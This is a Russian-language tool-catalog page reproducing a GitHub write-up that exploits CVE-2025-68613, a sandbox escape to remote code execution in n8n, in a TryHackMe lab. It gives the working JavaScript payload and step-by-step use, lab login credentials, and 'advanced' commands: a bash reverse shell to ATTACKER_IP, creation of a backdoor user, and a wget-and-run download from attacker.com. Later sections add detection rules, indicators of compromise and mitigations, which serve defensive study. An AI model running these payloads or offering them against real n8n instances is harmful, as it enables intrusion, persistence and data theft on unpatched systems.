Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
n8n-cve-2025-68613-thm | Kitploit
Инструменты/GitHubGitHub/khin-96/n8n-cve-2025-68613-thm
Повышение привилегийАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийКомандование и УправлениеОбучение и ОбразованиеРеагирование на ИнцидентыРазработка Полезной НагрузкиЛаборатории и Практика
GitHubkhin-96/n8n-cve-2025-68613-thm

n8n-cve-2025-68613-thm

17 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий

CVE-2025-68613 – Эксплуатация критической RCE-уязвимости в n8n

Обзор

В этом репозитории задокументирована практическая эксплуатация CVE-2025-68613 (CVSS 9.9) — критической уязвимости удалённого выполнения кода (RCE), затрагивающей платформу автоматизации рабочих процессов n8n (версии с 0.211.0 по 1.120.3).

Эксплуатация выполнена этично, в контролируемой лабораторной среде TryHackMe, исключительно в образовательных целях.


Сводка об уязвимости

ПолеЗначение
CVE IDCVE-2025-68613
Оценка CVSS9.9 (критическая)
Опубликовано19 декабря 2025 г.
Затронутый продуктПлатформа автоматизации рабочих процессов n8n
Тип уязвимостиИнъекция выражений → Побег из песочницы → RCE
Вектор атакиАутентифицированный пользователь (по умолчанию)
Исправленные версии1.120.4, 1.121.1, 1.122.0+
Затронутые версии0.211.0 – 1.120.3

Что такое n8n?

n8n — это платформа автоматизации рабочих процессов с открытым исходным кодом, которая позволяет пользователям визуально связывать приложения и сервисы для автоматизации задач. Она включает:

  • Архитектура рабочих процессов на основе узлов: каждый узел представляет собой действие (API-запрос, обработку данных, отправку email и т.д.)
  • 400+ встроенных интеграций: готовые коннекторы к различным API и сервисам
  • Узлы кода: выполнение пользовательского кода на JavaScript или Python
  • Вычисление выражений: динамические выражения, заключённые в {{ }}, выполняются как JavaScript

Модели развёртывания

  • Самостоятельно размещённые экземпляры (on-premises или частное облако)
  • Облачный управляемый сервис (n8n.cloud)
  • Внутренние инструменты автоматизации в корпоративных сетях

Технические детали

Цепочка уязвимости

Уязвимость находится в системе вычисления выражений рабочих процессов n8n. Когда аутентифицированные пользователи настраивают рабочие процессы, их ввод обрабатывается как JavaScript-код без надлежащей изоляции в песочнице.

Цепочка повышения контекста

root@kitploit:~
Expression Sandbox
    ↓ (escape via 'this')
Node.js Global Context
    ↓ (access mainModule)
Module System (require)
    ↓ (load child_process)
System Command Execution

Ключевые недостатки

  1. Небезопасное вычисление выражений: выражения пользователя, заключённые в {{ }}, выполняются как «сырой» JavaScript без должной изоляции контекста
  2. Побег из песочницы: доступ к объекту this позволяет обойти ограничения песочницы
  3. Неограниченный доступ к модулям: process.mainModule.require() предоставляет доступ к модульной системе Node.js
  4. Опасная загрузка модулей: позволяет загружать модуль child_process для выполнения системных команд
  5. Отсутствие надёжной аутентификационной защиты: любой аутентифицированный пользователь может воспользоваться уязвимостью

Разбор payload эксплойта

root@kitploit:~
(function(){ 
  return this.process.mainModule.require('child_process').execSync('COMMAND').toString() 
})()

Пояснение:

  • this → глобальный объект Node.js
  • this.process → объект процесса Node.js
  • process.mainModule → корневой модуль приложения n8n
  • .require('child_process') → загрузка модуля выполнения системных команд
  • .execSync('COMMAND') → синхронное выполнение shell-команды
  • .toString() → преобразование вывода Buffer в читаемую строку

Пошаговая эксплуатация

Шаг 1: Аутентификация

Получите доступ к уязвимому экземпляру n8n и войдите в систему с действующими учётными данными.

Учётные данные лаборатории:

  • Email: [email protected]
  • Password: Try12345!

Экран входа


Шаг 2: Приветственный экран и создание рабочего процесса

После входа отображается интерфейс создания рабочего процесса. Нажмите «Start from scratch» («Начать с нуля»), чтобы создать новый рабочий процесс.

Приветственный экран


Шаг 3: Добавление ручного триггера

Нажмите «Add first step» («Добавить первый шаг») и найдите «Manual Trigger» («Ручной триггер»). Этот узел служит точкой входа для выполнения рабочего процесса.

Настройка ручного триггера

Назначение: узел Manual Trigger позволяет запускать рабочий процесс вручную с помощью кнопки «Execute workflow» («Выполнить рабочий процесс») в интерфейсе, что делает его идеальным для тестирования.


Шаг 4: Настройка рабочего процесса и добавление сопоставления полей

Добавьте узел «Edit Fields» («Редактировать поля»), чтобы выполнить сопоставление полей. Именно здесь эксплуатируется уязвимость.

Настройка рабочего процесса

Шаги настройки:

  1. Нажмите «Add field» («Добавить поле»), чтобы добавить новое сопоставление полей
  2. Установите режим «Expression» («Выражение»)
  3. Это позволяет выполнять вычисление JavaScript-кода

Шаг 5: Выполнение команды id

Внедрите payload для выполнения команды id и получения информации о пользователе и привилегиях.

Payload:

root@kitploit:~
(function(){ return this.process.mainModule.require('child_process').execSync('id').toString() })()

Результат:

root@kitploit:~
uid=1000(node) gid=1000(node) groups=1000(node)

Выполнение команды id

Полученная информация:

  • Запуск от имени непривилегированного пользователя (uid=1000)
  • Членство в группе (gid=1000)
  • Потенциальные пути повышения привилегий

Шаг 6: Перечисление файловой системы с помощью ls

Измените payload для выполнения команды ls и вывода содержимого каталога.

Payload:

root@kitploit:~
(function(){ return this.process.mainModule.require('child_process').execSync('ls -la').toString() })()

Выполнение команды ls

Вывод показывает:

  • Наличие файла с флагом: flag.txt
  • Структуру каталогов и права доступа к файлам
  • Дополнительные данные разведки

Шаг 7: Извлечение чувствительных данных

Прочитайте файл с флагом с помощью команды cat, чтобы завершить эксплуатацию.

Payload:

root@kitploit:~
(function(){ return this.process.mainModule.require('child_process').execSync('cat flag.txt').toString() })()

Полученный флаг:

root@kitploit:~
THM{n8n_exposed_workflow}

Извлечение флага


Продвинутые техники эксплуатации

1. Реверс-шелл (Reverse Shell)

Установите интерактивный доступ к shell для постоянного контроля:

root@kitploit:~
(function(){ 
  return this.process.mainModule.require('child_process').execSync('bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1').toString() 
})()

2. Создание бэкдор-пользователя

Добавьте нового системного пользователя для постоянного доступа:

root@kitploit:~
(function(){ 
  return this.process.mainModule.require('child_process').execSync('useradd -m -p $(openssl passwd -1 PASSWORD) backdoor').toString() 
})()

3. Загрузка вредоносного payload

Загрузите и выполните удалённый код:

root@kitploit:~
(function(){ 
  return this.process.mainModule.require('child_process').execSync('wget http://attacker.com/malware.sh -O /tmp/malware.sh && bash /tmp/malware.sh').toString() 
})()

4. Перечисление путей повышения привилегий

Проверьте привилегии sudo:

root@kitploit:~
(function(){ 
  return this.process.mainModule.require('child_process').execSync('sudo -l').toString() 
})()

5. Разведка окружения

Извлеките переменные окружения:

root@kitploit:~
(function(){ 
  return this.process.mainModule.require('child_process').execSync('env').toString() 
})()

Стратегии обнаружения

Журналирование веб-прокси (Nginx)

Настройте прокси для записи тел запросов в журнал с целью анализа:

root@kitploit:~
http {
    log_format detailed '$remote_addr - $remote_user [$time_local] '
                       '"$request" $status $body_bytes_sent '
                       '"$http_referer" "$http_user_agent" '
                       'Request-Body: "$request_body" '
                       'Duration: $request_time s';
    
    access_log /var/log/nginx/detailed_access.log detailed;
}

Правило обнаружения Sigma

Обнаружение попыток эксплуатации через API-запросы рабочих процессов:

root@kitploit:~
title: CVE-2025-68613 - n8n Expression Injection RCE
logsource:
    category: web_application_firewall
detection:
    keywords:
        - "process.mainModule.require"
        - "child_process"
        - "execSync"
    condition: keywords
filter:
    field: uri_path
    value: "/rest/workflows"
    method: POST

Мониторинг создания процессов

Отслеживайте подозрительные дочерние процессы, порождаемые n8n:

  • Следите за неожиданным порождением процессов child_process
  • Отслеживайте подключения реверс-шеллов (bash, nc)
  • Фиксируйте подозрительные загрузки и выполнение файлов
  • Оповещайте о попытках повышения привилегий

Расположение журналов

  • Журналы n8n: /root/.n8n/logs/
  • Системные журналы: /var/log/auth.log, /var/log/syslog
  • Журналы выполнения рабочих процессов: база данных n8n

Индикаторы компрометации

  • Подозрительные JavaScript-выражения в полях рабочих процессов, содержащие:
    • process.mainModule
    • require('child_process')
    • execSync или spawn
  • Необычные выполнения child_process
  • Непредвиденные изменения рабочих процессов
  • Неудачные попытки входа, за которыми следует успешный доступ
  • Изменения файловой системы в неожиданных каталогах

Хронология эксплуатации


Смягчение последствий и предотвращение

Немедленные действия

  1. Обновите n8n до исправленных версий:

    • v1.120.4
    • v1.121.1
    • v1.122.0 или новее
  2. Ограничьте сетевой доступ

    • Внедрите правила межсетевого экрана для ограничения доступа к n8n
    • Используйте VPN или бастионные хосты для административного доступа
    • Отключите внешнюю доступность, если она не требуется
  3. Надёжная аутентификация

    • Требуйте использования надёжных паролей
    • Внедрите многофакторную аутентификацию (MFA)
    • По возможности используйте интеграцию с SSO
  4. Мониторинг и журналирование

    • Включите детальное журналирование всех действий n8n
    • Отслеживайте изменения рабочих процессов в реальном времени
    • Настройте оповещения о подозрительных выражениях

Долгосрочные меры безопасности

  1. Проверка и очистка входных данных

    • Никогда не выполняйте пользовательский ввод как код
    • Внедрите белые списки выражений
    • Очищайте все определения рабочих процессов
  2. Реализация песочницы

    • Изолируйте вычисление выражений в ограниченной песочнице
    • Ограничьте доступ к API Node.js
    • Используйте виртуальные машины или контейнеры для изоляции
  3. Принцип минимальных привилегий

    • Запускайте n8n с минимально необходимыми правами
    • Ограничьте доступ к файловой системе
    • Ограничьте сетевое взаимодействие
  4. Анализ кода и тестирование безопасности

    • Регулярные аудиты безопасности пользовательских узлов
    • Внедрение инструментов SAST/DAST
    • Проведение упражнений по моделированию угроз

Ссылки

  • Официальная документация n8n
  • Политика безопасности n8n
  • Модуль Child Process в Node.js
  • OWASP: Инъекция кода
  • CWE-95: Некорректная нейтрализация директив в динамически вычисляемом коде
  • Калькулятор CVSS v3.1

Информация о лаборатории

  • Платформа: TryHackMe
  • Комната: n8n: CVE-2025-68613
  • URL комнаты: https://tryhackme.com/room/n8ncve202568613
  • Сложность: от средней до высокой
  • Учебные цели: инъекция выражений, побег из песочницы, RCE, стратегии обнаружения

Отказ от ответственности

Данная документация предоставлена исключительно для образовательных целей и авторизованного тестирования безопасности. Описанные техники эксплуатации предназначены для:

  • Авторизованного тестирования на проникновение
  • Исследований безопасности в контролируемых средах
  • Практики в лаборатории TryHackMe
  • Понимания уязвимостей безопасности

Несанкционированный доступ к компьютерным системам противозаконен. Всегда получайте надлежащее письменное разрешение перед проведением тестирования безопасности.


Структура репозитория

root@kitploit:~
.
├── README.md                    # This file
├── exploitation-details.md      # Technical deep-dive guide
├── screenshots/
│   ├── 01-login.png
│   ├── 02-Welcome.png
│   ├── 03-Manual_Trigger.png
│   ├── 04-Workflow-setup.png
│   ├── 05-rce_id.png
│   ├── 06-Change_id_ls.png
│   └── rce_cat_flag.png
└── notes/
    └── exploitation-details.md

Примечания автора

Этот отчёт документирует успешную эксплуатацию CVE-2025-68613 в лабораторной среде TryHackMe. Уязвимость демонстрирует критическую важность безопасного вычисления кода и опасности неадекватной реализации песочницы в платформах автоматизации.

Понимание этой уязвимости помогает как командам наступательной безопасности выявлять аналогичные проблемы, так и командам защиты разрабатывать более эффективные стратегии обнаружения.

Скачать инструмент
ШагДействиеВремя
1Доступ к экземпляру n8nСекунды
2Создание/изменение рабочего процесса< 1 минуты
3Добавление узла сопоставления полей< 1 минуты
4Внедрение и выполнение команды id< 30 секунд
5Перечисление файловой системы с помощью ls< 1 минуты
6Извлечение данных с помощью cat< 30 секунд
ИтогоПолная эксплуатация RCE< 5 минут